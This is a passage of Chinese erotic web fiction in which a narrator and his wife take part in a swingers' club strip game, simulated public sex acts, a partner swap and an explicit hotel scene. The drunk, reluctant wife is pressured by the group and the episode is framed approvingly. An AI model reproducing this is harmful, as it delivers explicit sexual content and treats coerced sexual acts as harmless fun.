下打量。李秋月那苗条的身段,穿套粉色胸罩,底裤。胸前沟渠也不浅,虽然下
身风光被挡住,但还是有根根黑草从里面跑出来,挤在白色的肌肤上,尤为显眼。

看的一众男人口乾舌燥,心跳加速。我自然也不例外,幸好妻子正深陷在自
己的世界中,没空理会我。

即使李秋月够放得开,但面对七,八个男人的目光,还是有点脸颊发烫,眼
中水雾瀰漫。似乎明白拘谨只会更激发出男人的欲望,她索性不去整理,站直身
姿,大大方方的展示在我们眼前。这简直是挑衅,不少男人嚥着口水,我也感觉
有股气血在体内翻腾。李秋月已经陷入最坏的境地,她要找人分散那炽热,裸露
的目光,立马召集继续,想拖别的女人下水。

很快有不少夫妻中招,场中开始变得春意盎然。四面或波涛汹涌,或蛮腰小
巧,或笔直长腿,惹得男人都不知道该往哪儿看,恨不得多生几双眼。

我和妻子今晚运气还不错,才喝下了第二杯酒。我还没多大问题,她的脸已
经红的像熟透的番茄,让我都忍不住想咬一口。

不知是四周大片雪白,大片的嫩肉,沖淡了妻子心中的矜持,还是酒精麻醉,
让她忘记了那份羞涩。她话语变得露骨,举动变得大胆,渐渐融入气氛,赢了会
跟着拍手,叫好,看到别的夫妻受罚会跟着兴奋。又玩了几把,我和妻子又输了
一次。三杯酒喝完,妻子身子已经软得有点站不稳了,还不时有点嬉笑连连,胡
言乱语。场中只剩下我们和秦伟,赵诗雅夫妇没有脱光。赵诗雅是佔了点便宜,
她穿着女士职业休闲套装,脱了件上衣,还剩下件白色衬衣,透过里面,隐约能
看到白色的蕾丝罩。不过下身的职业短裙,已经随着上衣一起脱掉,那块白色绒
毛编织的底裤,很是惹眼。

叶紫嫣今天穿的有些保守,胸罩和底裤都是黑色,遮住了大部分风光。可我
和很多男人一样,还是忍不住瞄向她的身体,幻想内在的风景,回忆与她缠绵的
夜晚。

妻子不胜酒力,有点私心,有点想保护妻子。我提议说今晚就玩到这儿算了,
但这群人一直不同意,坚持要继续玩。我隐隐觉得,他们是为了达成某个目的,
似乎不达目的就会誓不罢休。

希望破灭,只能继续陪着玩。没几把,赵诗雅最后件衬衣也飘然落地,又一
个女人落水,所有人鼓掌欢呼。他们统一战线,把目光投向唯一没脱的我和妻子。

我终於知道那种,不怕贼偷就怕贼惦记的心情了,当时就是这种感觉。我再
次提议到此为止,梁玉珍那女人率先带头,一口回绝,所有夫妻也不甘心,坚持
在要玩几把。赶鸭子上架,我狠狠的盯了梁玉珍那女人一眼,有句话叫最毒妇人
心,冠在她头上还真没错。有人被罚喝酒,有人被罚当众接吻,狠一点就罚对方
丈夫,和妻子满足个小要求。我下定决心,有机会要好好收拾下梁玉珍这女人,
让她知道点厉害。

……


第一五八章俱乐部的欢庆5

愿望是美好的,现实总是残酷的。许下的愿望还没实现,只抽了一把,妻子
就抽到个A。

妻子呆呆的盯着手中那个决定自己命运的A,看了好几秒,有点哭笑不得。
如果是我抽到,她或许还会娇愤的骂我一顿,发泄一番,可被自己抽到,她有些
无语。我当时居然松了口气,因为继续玩下去,早晚会抽到。这又像是第二个赌
局,我和妻子间的赌局,我抽到就难逃厄运,她抽到我就捡回条命。可真当她抽
到时,我又有点不忍,期望自己能让她发泄下,起码这样她心里能坦然,好受点。
看着那些男人侵虐的目光,那些窥视妻子身体已久,期望能满足心中那阵新鲜欲,
早日尝鲜的渴望,感受到那股即使不能尝到,起码也要先一饱眼福的欲望。我很
有些郁闷,无奈,期盼着时间能停止。

「脱,脱,脱……」又是梁玉珍那女人带头,还有点幸灾乐祸的味道。所有
人都兴奋的叫起来,特别是男人,不停吹着口哨。

但时间终究没人能停止,随着众人的起哄。虽然已醉倒大半,但妻子还是能
感觉到那群男人的热情,以及眼中的欲望。让她当着这么多男人的面脱下外衣,
即使微醺,心中那根深蒂固的羞涩,矜持,还是会冒出来作怪。

妻子无助,询问的眼神,让我的心颤抖的更厉害。我想带着她逃走,可我又
不能这么做。

「不愿意的话,可是要受到双倍惩罚哦。」叶紫嫣突然站出来,勾起嘴角,
迷人的笑着说。她虽然对着妻子在说话,但却目不转睛的盯着我,眼中秋水荡漾,
火花闪耀。

叶紫嫣浑身只剩下内在美,已经散发出让人无法抵挡的诱惑,她在来这么一
招。我瞬间移不开视线,顺着她的电眼,看到那对挺立的恶魔,在望到雪白的细
腰,不自觉的眼下口唾沫。

就在我的目光想继续下移,观察那片芳草地时。一件带着妻子娇躯幽香的黑
色晚装裙,掉在头上,挡住了视线。

我立刻惊醒,慌乱的从头上拉下黑裙。所有人哄堂大笑,不少女人也望着我,
巧笑嘻嘻。现场波涛汹涌,浪花翻滚,一波比一波更来势汹涌。虽然出了点丑,
但满足了不少眼福,算是值回票价。

「脱就脱,有什么了不起的。」

不知是吃我的醋,还是酒精关系,妻子脾气见涨,对着叶紫嫣气呼呼的说。
我沉醉正沉醉在波涛中,被妻子这句话,雷的差点站不稳。目瞪口呆的望着她,
这还是她吗?她会说出的话吗?这还是几秒钟前,那个矜持,害羞的女人吗?是
被气糊涂了,还是醉糊涂了,我伸手去抚她额头。

「干嘛!」妻子不满的打开我的手,接着指着自己身体说「要看就看这儿啊!
有什么不一样吗?」

看来吃醋跟酒精都有关系,吃了憋,也不敢反驳,只能谄笑着收回手。

我四处撞墙,其余女人笑的更欢了,特别是梁玉珍,笑的胸前蹦躂的欢实,
让人担心随时会从那块布料中跳出来,或是绳子会什么时候承受不住而绷断,叶
紫嫣眼中露出得逞的光芒,我只能暗叹口气,把苦水连带着唾沫一起嚥回肚子里
。终於看到我妻子滑嫩的娇躯,那些男人眼中的欲火不但没熄灭,反而烧的更旺
了。似乎急不可耐的想与她一度春宵,在她身上辗转,驰骋,肆意的糟蹋,践踏
她。

我很恼火,可又无力反抗。不知是故意报复我,还是气还没消,妻子到是放
开了,毫不在意的站在哪里,任由那些男人焦急的吞唾沫,却只能过过眼瘾。过
不多久,妻子甚至有丝丝享受起这些男人热情的目光来。虽然我心中有点苦涩,
但我能理解,这有点像是集万千宠爱於一身。和男人会享受身边的美女,对自己
表现出欲望一样,那会让人心里得到种满足,自豪。

这种关注,能让人最直观的体会到自己有魅力,它能让人的自信心急速膨胀。
没有那个男人,女人不喜欢这种感觉。这也是为何有那么多人,会打扮的很性感
出门,享受路人的回头率,会穿着泳装在镜头下走秀,表演,期望获得更大的认
可,更多人的称讚。舞台越大,关注越多,证明自己的魅力就越大,得到的成就,
自豪,自信会随之被无限放大。一旦体会就永远不会忘记,它会让人渐渐喜欢,
依赖上这种感觉。

「好啦,继续,继续。」梁玉珍催促说。……


第一五九章俱乐部的欢庆6

身边站着八个女人,像是在上演一场内衣秀,各种颜色,各种款式,争相斗
艳。惹得所有男人心潮澎湃,浮想联翩,游戏还在继续,男人却没了多少心思。

轮了十多局,终於等到机会,我抽到个8,梁玉珍抽到A。所有的账我可一
并记着,当看到她苦着脸时,就知道报仇的时候到了。

所有人都望着我,等待着我会怎么惩罚。我早想好了,猥琐的笑道「我要看
观音坐莲。」那样子,有点像个调戏小姑娘的老头。「啊?」梁玉珍瞪大杏眼,
惊疑。

全场人一副作恶,不可置信的眼神望着我,霍立翔和我妻子也不例外。

这么好的机会,我自然不会放弃,清楚说「我要看,你和霍立翔在地毯上,
演出观音坐莲的戏。」

「哈哈!」得到确认,所有人忍不住大笑,满脸看好戏的神情。

「我知道了,你是早想好要让我出丑是不是?」梁玉珍恨恨的问,我笑着也
不反驳,她撇嘴接着说「没问题,不过我跟丈夫有什么意思,这一出早就在家里
上演过无数次了,要跟也跟你才有看头啊!」

这话宛如一颗高爆炸弹,在所有男人耳边炸响,炸的男人欲火翻腾,全身发
热。我也好不到哪儿去,口乾舌燥,下身滚烫,有点要惊醒的架势。霍立翔脸色
尴尬,伸手扶着镜框掩饰。

身女人都面红耳赤,张着小嘴,不知该作何表情,她们脑中似乎浮现起那副
画面。

梁玉珍想拉我下水,我自然不会上当,笑说「我就想看你们的。」

梁玉珍还好,只是有点郁闷。被殃及池鱼,霍立翔郁闷的望着我。

「观音坐莲。观音坐莲……」男人开始起哄,女人满脸娇羞,眼中隐隐有丝
期待,连妻子很快也加入阵营。「坐就坐,有什么大不了的,给我把这茬记着就
行了。」知道躲不掉,梁玉珍乾脆大方走出来说,见霍立翔还站在原地,有点愠
怒的招呼道「快上来啊,一个大老爷们,有什么好怕的。」

霍立翔望着我摇苦笑摇头,叹口气,走到人群中间,平躺在了地毯上。

虽然表现的大大咧咧,可在这么多人眼前,梁玉珍还是有点怯场,站在霍立
翔身前,久久跨不过去。

我催促说「快点啊!记得坐的时候,声音,表情逼真点哦。」

梁玉珍恶狠狠的瞪了我一眼,环视一周这些看好戏的人,俏脸上那朵红晕,
扩散的更远了。她深吸口气,鼓起勇气的跨过霍立翔的身体,对准霍立翔的下身,
坐了下去。

「喔!好!」所有人鼓掌,叫好。女人眼中也忽明忽暗,很是兴奋。梁玉珍
非常无奈,皱着俏眉,轻咬嘴角,学着观音坐莲的姿势,手撑着霍立翔的胸膛,
翘臀开始上下起伏。

「快叫,表情要像点,不然不过关哦。」我看好戏的说。梁玉珍想反抗,又
无力反抗,只能自己生闷气,可不得不照办。明白如果不认真,只会让把时间拖
得更长,一上来就全情投入。微张小嘴,眉头时而微皱,时而舒展,表情时而痛
苦,时而愉悦,呻吟也真像那么回事,随着表情,尖细,痛呼不停变幻。

梁玉珍还没什么,身下的霍立翔可惨了。没几下就被刺激的下身挺立,一柱
擎天,把内裤高高顶起。起初梁玉珍还能随意施为,这下就不好办了,一坐下就
骑到霍立翔的龙根上。

弄的霍立翔痛苦不堪,哭笑不得,梁玉珍也被戳的难受,边翘动臀部边羞怒
的在霍立翔胸前拍了把。那样子像是恨不得把惹事的龙根坐断,又像想把那两块
碍事的小布撤掉,撕烂,一坐到底。

所有男人都屏息凝神,瞪大双眼。虽没有真正的接触,但所有人耳中隐约听
到,小雨拍打路面的啪啪声,脑中浮现起那张肥臀,坐在自己身上的感受。

女人也好不到哪儿去,呼吸急促,像是完全投入到那个场景,随着梁玉珍的
叫声,起伏呼吸着。估计她们也在回想,自己坐在男人身上,被塞满时的满足。

看戏的人沉醉,演戏的人可难受,心里,身体都飢渴难耐,可又得不到满足。
梁玉珍叫醒众人道「喂,差不多了吧!」

所有人惊醒过来,脸上笑意频频,鼓掌道「好!」

「过关。」完美的演绎,无法挑刺,我心满意足道。妻子看的身子娇软,盈
盈的靠在我身上。

梁玉珍也差不多,起身时差点站立不稳,幸好起身的霍立翔及时扶住。这惹
得众人又一通大笑,从霍立翔的怀中起身,梁玉珍看我的眼神让我有点发毛。

好戏结束,我突然有点后怕,为自己冲动的自责,但我不后悔,毕竟看了出
这么精彩的表演,付出点代价也值了。只是不知道梁玉珍这女人等下要如何报复,
让我心里没底,有点担心而已。

「时间差不多了,今晚是不是就到这儿了。」我生出逃跑的心思说。「不行。」
梁玉珍一口回绝。「不是说君子报仇十年不晚,用不着这样穷追猛打吧,以后还
有机会,你们说是不是?」我向众人求助。

「我又不是君子,今晚必须继续。要不投票,问他们还继续不?」梁玉珍望
着众人,暗送秋波说。明白梁玉珍的意思,所有人都抱着看好戏的神情,欢呼继
续。连一直以来,自以为对我无比好的叶紫嫣,也毫不迟疑的站到梁玉珍一边。

有点兔死狗烹的悲凉,居然没一点感恩的心,刚才明明一起享受了,现在却
要我一个人承担后果。不拉一把就算了,还狠心的落井下石,一群没良心的人。

担心被牵连,妻子幽幽的望着我,满脸幽怨,不知所措。我此刻才有点后悔
得罪了梁玉珍这女人,真是好了伤疤忘了疼,以前她明明留给我那么多噩梦,我
居然还笨得主动去招惹她。

游戏很快再次开始,可能是为了看我好戏,接下来的游戏速度快了不少。没
有恩仇的,一旦定下输赢,几乎都用最简单,最快的方式过关,继续下一轮。

压力太大了,每次抽牌时手都在抖,妻子也不敢抽了,全派我上场。她的举
动,无疑让我压力更大了。

抽到8也兴奋不起来了,只要没抽到A就谢天谢地,期间还有2次抽到A,
当时心都快跳出来,但最终不是梁玉珍抽到8,那时的感觉,比见了亲妈还高兴
啊。

好运总会用光,死撑了十多把,终究难逃法网。……


第一六零章俱乐部的欢庆7

我看着自己手中的A,梁玉珍手中的8,有种天崩地裂,世界末日的感觉。
她却像中了头彩,笑的太灿烂了,我敢打赌,她这一生估计都没这么兴奋过。马
已上鞍,无路可退了,我勇往直前道「说吧!要我干什么?」

看着众人期待的目光,梁玉珍自己人忍不住先笑出声来,慢吞吞的说「你不
是看的很开心吗?我现在要看你们狗爬式!」

「啊!」不止是妻子面色难看,连我都惊呼起来。

我的反应让梁玉珍很满意,她得意说「没听明白?我要看狗爬式!你们认为
真么样?」

「对,狗爬式……」所有人恶意的笑着,满脸期待。

狗爬式是种很受欢迎的姿势,尤其是对男性,过程中会产生种征服的快感。
不过,有些女性讨厌这种姿势,因为这样容易令人联想到动物。而且这种体位的
缺点是双方缺乏面对面的眼神情感交流,在文化上会被女权主义者视为不尊重女
性,因为这种体位会令女性产生被压迫及被奴役的感受。

但这样的姿势,会因为男性和女性的角度相近,使得更容易深入。后入体位
的过程中,对於女性腹部压迫的机会较少,也是医生建议怀孕妇女採取的姿势。
还让男性腹部的动作,与被女性臀部碰撞产生拍打声,会提升男性的性快感,从
而对产生更多的激励。虽然以前我在片中看到过不少次这种姿势,但我和妻子在
家从没试过。因为她从不愿意,我也不好强求。今天被逼上梁山,妻子是最「快
点,狗爬式……」都开始起哄,叶紫嫣和那个冷淡的秦雪也加入进来。

今晚被逼上梁山,妻子估计承受的心理压力最大。面对她幽怨的眼神,我有
种深深的歉意。我以为她不懂,本想跟她解释下这个姿势,谁知她打断我的解释,
埋怨都怪我。

已经看过梁玉珍夫妇表演,熟悉规则的妻子知道躲不过。她端起烈酒一口气
喝下半杯,看得我都感觉胃里翻腾的厉害。放下酒杯,她气呼呼的瞪了我一眼,
走到场中,学着小狗的样子,慢慢爬在了地上。

看着妻子又羞又愤,不情愿可又无可奈何的样子,所有男人眼中都冒着精光。
我还没上阵,他们的下身就挺立如柱,恨不得趴上去的是他们。怎么能让他们想
太多,我赶紧跟上去,伏到了妻子身后。

「我要完全看到那个姿势,而且过程中还要学小狗叫。」梁玉珍继续丢炸弹。

「你不是吧!」我苦着脸回头。「我不管,这就是道高一尺魔高一丈,谁让
你先挑起这场战争。」梁玉珍不理睬我的叫屈,接着得意说「你不叫也可以,反
正我不喊过关,你就那样趴一晚上,让我们看个够。」

艹,当时气愤,恼怒,还有后悔一起涌上心头,有点早日如此,何必当初的
感觉。「快点啊!」众目睽睽之下,妻子的精神已经快受不了了,在我身下催促
道。

我吸了口气,只得妥协。转回视线,妻子趴在我身下,光滑的雪背呈现诱人
的凹弧,她今天穿的是条淡白蕾丝,近距离下,我甚至能隐约看到蕾丝下粉嫩的
菊花。那桿早就不老实的银枪,还没开始活动就瞬间绷直。

「喔!」男女都欢呼起来,不过我已经听不见了,我脑中的神经被绷断,双
耳嗡嗡作响。

俯身趴到妻子背上,可这样完全看不到后面的情况。我不敢太向下,挺腰时,
不是隔着底裤戳到她后庭,就是刚好从下面划过。惹得她娇躯酥软,不时扭臀躲
避,不时又夹紧双腿,获得摩擦的快感。

妻子的每一次反应,我都能清楚感受,这也刺激的我欲火焚身,急欲想找到
地方发泄。可那两片薄布,就像扇怎么也突不破的城门,让我只能望门心叹,乾
着急。

「叫!叫!叫!」观战的人开始起哄。

这种被人围观的感觉,很能刺激人,我心中升起种异样的感觉,不知妻子心
里是不是也和我一样。

我可不想真这样趴一晚上,每次戳动,学着叫了两声。叫声像是首淫靡的春
床曲,刺激的四周男男女女全身颤栗,忘记了思考。

男人嚥着口水,下身早就挺立,把底裤高高撑起。有人不自觉的伸手,揉了
坚硬的下身,企图缓解那阵瘙痒。女人不自觉抓住身边的男人,娇喘阵阵,俏脸
红的快滴出汁来。

不止是他们,连妻子也如遭雷击,双腿夹紧。弄的我无法从下面划过,每一
次都戳到后庭,她身子就不自觉向前逃离,可马上又迎接似的缩回来,轻呼的声
音随着动作一点点变成惊呼。

不管妻子的娇喘,四周人群的反应,还是我自己学的狗叫,都让我深陷其中,
无法逃避。当时心里有种屈辱感,真有点想死,可还变态的体验到一种新鲜,莫
名其妙的快感,让我停不下来,也不想停下来。

这种莫名的快感,屈辱,让我感觉天旋地转。道德,自尊,各种观念都被统
统抛弃,彷彿世上的一切都变得不再重要。只想大胆的发泄,似乎只有这样,才
能感觉身心的自由,平息心中一直被压抑的欲望。

「好没有……啊!」不知过了多久,当我和所有人投入其中,无法自拔时,
身下传来妻子的娇呼。

这像是声天籁,又像是声佛音,把我从欲望的海洋中惊醒,救出,让我心中
的波澜一点点平息。我睁开双眼,慌乱的从妻子身上爬起,脸色有些难看,说不
清是什么感觉,不能继续的失落,逼着学狗叫的耻辱,为自己的迷失,沉醉自责。

我不知为何会变成这样,心里却没有罪恶感,也没有太多后悔,反而有点欣
喜。似乎我们的婚姻,我们的爱情,从新激荡出了火花,让我体会到不一样的激
情。

妻子跪坐在地上喘息,全身酥软,即使我不压在她身上,她也无力站起。我
稳定情绪,把她从地上拉起来,看到她眼眸中水雾流转,娇滴滴的像是朵挂着露
珠,清晨迎着朝阳盛开的花朵。

即使我们已经停止,依旧止不住众人的幻想。特别是男人,呆呆的站在原地,
还没回过神来,看着妻子的眼神,充满了侵略的欲望。

女人也好不到哪儿去,一个个靠在男人身上盯着我和妻子。似乎她们都看出
我们是第一次玩这种姿势,满脸不可思议,眼中跳跃着激情火花。


第一六一章销魂的夜晚1

叶紫嫣笑意盈盈,走出场道「都满意了吧!今晚就到此为止吧!」

所有人心满意足的点头,捡起地上的衣服穿回。知道又中了他们陷阱,我到
是没什么,妻子边穿衣服,边怨愤的看着梁玉珍。

梁玉珍走过来,拉着妻子笑说「我可不是针对你,要怪就怪他,是他先捣乱
的。」

我无力的反抗说「明明就是你先为难我们!」想想也无济於事,不想跟梁玉
珍计较说「算了,事情都过了。」

我吃瘪,梁玉珍很得意,把妻子拉到一边补偿。刚才的事,让妻子很计较,
她半推半就,似乎有点不情愿。但不知梁玉珍说了什么,没多久两人便轻声交谈
起来,很快妻子脸上的怨怒消失不见,又变得有说有笑。

这让我很惊奇,看来还真印了那句话。女人和女人间,不是冤家,就是姐妹。
弄的我都想去找那女人取取经,以后哄妻子时也能有几手。

还没来得及走过去细听,周仓就从人群中走出来,招呼一起喝了杯,宣佈到
牵红线时间了。起初我还疑惑什么是牵红线,很快就看明白了,原来就是到了抽
伴侣的时间。见叶紫嫣拿出几条红绳,红绳中间捆在一起,两头相互交织缠绕。
招呼在女人都拿住红绳的一头,让男人去抽另一头。前面的游戏还是玩耍,到这
个环节就是实货了,所有男人都兴奋起来。不停在众女身上游走,今晚最多人看
的还是妻子,弄的妻子站那儿很不自在。

我有些担心妻子,但更多的目光还是在其余女人身上游走。那些男人对妻子
有新鲜感,我对站那儿的女人也一样。唯一不同的是,妻子很还有点拘谨,而那
些女人都大胆的回应我。

看来看去,风情万种,各不相同,我也不知道该选谁。想选谁也没用,绳子
缠绕在一起,根本看不清楚哪条绳子连的谁。周仓最性急,我们还没行动,他就
率先走出去,捡起了一条。其余男人不甘落后,纷纷上前,自认为的抓住一条,
他们的目的都很明确,我妻子的绳子。

剩下三条,我,苏峰,和霍立翔。不知那两人在客气啥,我反正是无所谓,
抽到谁都是新鲜货,只要不抽到梁玉珍那女人就谢天谢地。八比一,比例太低,
我自信运气没那么衰。一人看了眼,随意拿起条。揭晓时刻,个个都像抛饵的渔
夫,期盼那头有条大鱼。八条竿,只有一条大鱼,注定有人落空。

男人很激动,女人很紧张,但她们同样充满希望。当妻子感觉手中的红绳,
在颤动,变紧时,脸颊涨的通红。鱼儿很快上岸,抽到妻子的居然是今晚刚认识
的秦伟。不过我没抽到他的妻子,赵诗雅被钱昊抽到,我抽的是李秋月。叶紫嫣
被吴鹏抽到,他也很高兴。抽到梁玉珍的周仓,是有点郁闷。

各男各女看着自己今夜的伴,大多都是满意的,除了某一个人。

接下来该自由活动了,不过都喝了不少酒,又看了半天春宫戏,早有些受不
了了。多数人带着今晚的伴儿,上车前往会所。

各自告别,妻子不愿这么早就和我分开,非要跟着我上车。秦伟也理解,答
应在会所见。车上坐着两个女人,气氛有些尴尬,我一句话都不敢说。这种情况
太怪异了,一边是妻子,一边是今晚要同床的女人。我开车都有点心神不宁,一
会担心妻子是不是在吃醋,一会担心她们会不会吵起来。

事实证明我想太多了,上路后,李秋月不停找妻子搭话。妻子起初心里肯定
也很乱,回的有些应付,不过随着女人那些话题的深入,两人聊得热络起来。

到会所时,妻子那份紧张,防备完全丢掉,两人有说有笑,都快成朋友了。
路上我一直专心开车,不敢插嘴她们那些女人话题,我也插不上,大多都是指责
男人的不是。

妻子埋怨有些问题时,还有意无意的王我一眼,让我如坐针毡。虽然男性同
胞遭到了唾弃,但我只能忍气吞声,装着没听见,不敢叫屈啊。

不知是有了两次经历,还是刚和李秋月谈的很开心,上楼后,妻子没有前两
次那么紧张了。和秦伟回合时,她虽然还是有点躲闪,但不在那么抗拒。低着头,
默默的和秦伟走进了房间。看着妻子的背影消失在视线,我的心居然也平静了不
少,没有以前那么痛苦,挣扎和自责。

早晚要学着习惯,我暗叹口气,把那些想法甩出脑中,和李秋月走进了房间。


第一六二章销魂的夜晚2

关上房门,就进入另一个世界,彷彿一起被关闭的,还有心中那扇理智的大
门。进屋后,李秋月表现的很自然,她不需要想叶紫嫣那么迷情,挑逗,也不需
要向梁玉珍那样火辣,热情。因为这一切,已经水到渠成。

李秋月甩掉脚上的高跟鞋,把包丢到桌上,坐到床头问「你先洗,还是我先
洗?」

看着她揉着酸疼的小脚的模样,踩了一整天的高跟鞋,似乎有些累。我笑说
「你先洗吧。」

「算你还有点君子风度。」李秋月也不推迟,穿上妥协,笑着走向浴室。

「那你也有点淑女风度,我们一起洗怎么样?」我舔着脸问,刚才在别墅的
游戏,受到最直接冲击的是我,现在那股欲火还在体内燃烧。如果不是李秋月表
现的太镇定,换成别的女人,恐怕进屋我就忍不住扑上去了。

「这点付出就想捞好处,想都别想。」李秋月白了一眼,走进浴室,毫不犹
豫的关上了门。「真小气。」我站到浴室门口,望着里面窈窕的身影。

「对你们这种男人,就不能太大方,不然还真当女人旱透了,盼着你们来滋
润。」李秋月幽怨说。虽然浴室是玻璃门,可是那种粗玻璃,只能模糊的看到影
子。我能看清李秋月的动作,她已经脱下了白色碎花长裙,正在解胸罩,可就是
看不清楚。

胸前的两团突起也模糊的出现在视线中,李秋月弯下腰脱掉内裤说「别站那
儿了,累不累?要看,等会让你看个够。」

原来里面还能看清外面,缩了缩脖子,浴室传来哗哗的水声,蒸汽很快让玻
璃更模糊了,只能依稀看到点人影。叹了口气,转身躺会床上,打开电视,无聊
的换台。

按了半天,也没一个好节目,我突然想起一事,问道「秦伟那男人怎么样?」

「怎么,现在才想起来担心妻子?」浴室传来李秋月不屑的声音。

我确实有些担心,以前苏峰和霍立翔算是熟识,秦伟今晚才刚接触,对他的
瞭解还是零。我死撑着说「只是好奇,随便问问。」

「哼,你们这些没良心的男人就是这样。既然担心,当初干嘛带她来。」李
秋月语气淡然,似乎有点觉得我是在猫哭耗子。

李秋月的话让我哑口无言,等了半刻,见我没回应,她才接着说「秦伟那个
男人,就会横冲直撞,一点也不懂情调。也不知道照顾下女人,自己爽了就完事。」

这不是我想问的,我继续说「没什么怪习惯吧?」

「呵呵!在你眼中什么算是怪习惯?」李秋月怪异的笑声传来。

知道她心里明白,故意在问,我无奈说「就是,一些特别的嗜好,奇怪的要
求之类的?」

「那到没有。」李秋月想想说。我放下心来,床事只顾自己,很多男人都有
这毛病。只要不会伤害到妻子,也没什么大不了的。

「我不喜欢和他搭对,把你弄的不上不下就完事,让你苦闷发痒,又无处发
泄。每次他完事,我都要躲到厕所,自己解决。」李秋月的语气有点气恼,苦闷,
又有些无奈。

「怎么解决?」还不知道会有这样精彩的故事,我差点笑出声来,恶趣味的
问说。「少跟我装蒜,你们这些男人,我还不瞭解。表面装的正人君子,心底那
些花花肠子我全知道。」李秋月毫不客气的骂道,接着转而问说「对了,你不会
跟他一样吧!」

「当然不会!」我大义凛然的说。「那就好,可别让女人失望,不然以后没
哪个女人乐意跟你配。」李秋月说。认识有些天了,以前没深入接触。虽然今晚
只短短一些谈话,但我现在对李秋月有了更直观的认识,很开放,而且直爽,什
么话都敢谈,敢说,难怪妻子也很会喜欢上她。

李秋月的直爽跟梁玉珍不同,梁玉珍那是直接,会让男人有些吃不消。她还
存留着一些女人的矜持,还懂得恰到好处的展现。她的脾气,既会让男人感觉像
无话不谈的哥们,又能在需要时,变回一个魅力十足的女人。男人会觉得亲近,
自然而然的想接近。

我正胡思乱想,无聊的按着电视节目时。浴室的水声渐停,玻璃门拉开,李
秋月围着浴巾,赤着小脚走出来。她的性格让我想更深入的瞭解,转头望去。

李秋月正捂着浴巾,擦拭脖子上的水珠。不知道她是干什么的,但她肯定经
常进美容院。肌肤光滑细腻,保养的很好,洗澡后更红润了,就像新生的婴儿般。


第一六三章销魂的夜晚3

李秋月的比例原本就很好,围着浴巾更加诱人,想到那浴巾里面空空如也,
我就血气翻涌。

「啊!哦!」电视中突然传来淫靡的呻吟。

我心头一跳,转头过去。看到电视上一对男女搂在一起,正在公车上激战,
女人已经忘乎所以,放肆的尖叫。男人也旁若无人,疯狂撞击,整车人都目不转
睛的盯着两人。

我有些疑惑,还有些尴尬,毕竟李秋月在场。

她打开浴帽,放下秀发说「你在看什么?」走近看到画面却很镇定,语气怪
异的笑说「没想到你还有这种嗜好。」

「我是胡乱按,刚按到的。」我郁闷的说。「切,这话谁会信?」原本还好,
我开口解释,她更鄙视了。

「不信我也没办法。」有口莫辩,我乾脆不提。画面中的女人怎么那么眼熟,
以前还不知道会放这玩儿,浪费了多少资源啊,追悔莫及。

李秋月若有所指的说「放心!我能理解!」说完居然坐在我身边,跟我一起
看,惊呼道「这不是苍井空吗?」

我就说怎么有些眼熟,以前单身时就对着她撸过无数次,近几年看的少了,
居然有点淡忘,罪过,不敬啊。

「啧,啧,叫的真欢,不过叫的真假。」李秋月评价道,那模样看的比我还
认真。

「你怎么知道?」我问。

「我是女人还能不知道。」李秋月白了我一眼。

回眸一笑百媚生,眼角那颗春痣确实勾人,连翻白眼都这么风情万种。我不
自觉的与她对视到,俨如天鹅般的眼眸,偶一流盼,如此甜美,柔丝般的弓样眉
睫,荫掩着盈盈的双瞳。差点就把持不住,收摄心神问「从哪儿能看出来?」

李秋月示意画面说「你看她身体反应,表情,与叫声根本不在一个点上嘛!
还有……」突然觉得跟我聊这些有点怪异,打住说「你个男人瞭解这么多干嘛!
快洗澡去。」

「不洗澡不行吗?我等不及了。」我顺势抓住她的小手,触感柔滑,细腻,
宛如抚上一块美玉。

我说的是实话,刚才在别墅玩了半天,现在又被这么一刺激,下身还真火烧
火燎,炎热难耐。

李秋月却不应,挣扎着说「当然不行,不洗髒死了,做起来会让人觉得噁心,
哪里有感觉。」

「你有洁癖?」我问。

「没有,只是想舒服点,不行啊!」李秋月又翻眼说,她不但很瞭解自己的
优势,还非常懂得运用,捕获男人的心。

我能理解,可还是不想撒手,有些忍不住了,商量似的说「将就一次不行吗?」

「哪儿那么磨叽,你到底洗不洗?」李秋月似乎也被画面,和撩人的呻吟刺
激,急切道。

李秋月一副你不洗,今晚就甭想上我的架势,我只得妥协「行,洗,洗,还
不行吗?」接着语气一转说「不过洗之前,先让我过过瘾。」说完放下她的手,
滑入浴巾,去探那两颗小彗星。

她没有防备,被我抓个正着。本以为会捏到怀念的柔软,可郁闷的是,入手
确实块薄布。

李秋月被吓的惊呼一声,拍开了我作乱的手。

没试到手感,我失望的退出来说「都洗澡了,干嘛还穿件内衣。」

「我喜欢不行啊!谁规定女人洗澡后必须放空。」成功防住我的突袭,李秋
月得意洋洋说。我有些不信,把李秋月从床上拉起来,一把扯开她浴巾,粉色的
胸罩,内裤果然穿的好好的。迷人的风景被挡住,我有点失落。她下身毛发很浓
密,性感小内裤根本遮不住,那几根漆黑的细毛,再次展露在眼前。

我脑中忽然冒出个邪恶的想法,几乎是没有经过思考,就付诸行动,伸手捏
住拔下了一根。

不知是弄疼她,还是被我吓到,她大声惊呼起来。皱着俏眉,拍了我一把怒
道「你干嘛啊?」手捂着下身,隔着小布摩擦,似乎想减轻痛苦。

「没事,就想看看。」我笑说,把那根毛发拿在手中仔细端详,还递给李秋
月「你看,好黑。」

「啊!髒死了,快拿开。」李秋月惊叫着躲开。她越害怕,我越举得好玩,
兴奋,内心作恶的欲望就越强烈。我继续凑近说「不是你身上的嘛。」拿到她鼻
子前「你闻闻,好像还有股味道。」

「走开啦!在这样今晚不理你了。」李秋月抢过我手中的毛发,丢到了地上。

「行,不玩了。」我投降,看着她气呼呼,却无计可施的样子,也蛮有趣的。
但她的风情,让我体内的火腾的更高了。

快受不了了,换上拖鞋,快速冲到浴室。脱下衣服,看着早已醒来,昂首挺
胸的骁龙,很是欢喜。快速洗澡,故意捉弄道「能不能把声音开大点,我听不见
了?」

「要不要今晚就听一晚?」李秋月没好气说。拿这个威胁我,我乖乖熄声,
急急忙忙沖完澡。裹着浴巾走出浴室,她已经躺到了床上,电视却没换台,还在
那儿看的津津有味。

「还看?不觉得痒?」我像个同性朋友般开玩笑。

「痒你也不知道。」李秋月体内肯定也烧的慌,她望着我,眨着眼挑逗说。
她的直白,大胆,还真让我喜欢得紧。眼中电花十足,那颗春痣更是诱人,看到
就无法移开。我像头发情的狮子,飞奔着扑向床上说「摸下不就知道了。」

李秋月被吓的想逃避,却无路可逃,被我扑个正着。我迫不及待,直接探向
她下身,触碰到时,差点晕厥。

不知何时她已经把小内裤脱掉,我本以为又会摸到内裤,还要要费一番力气
去脱。结果直接碰触到那片幽谷,潮湿,晦涩,像朵莲花般开开合合。这就是个
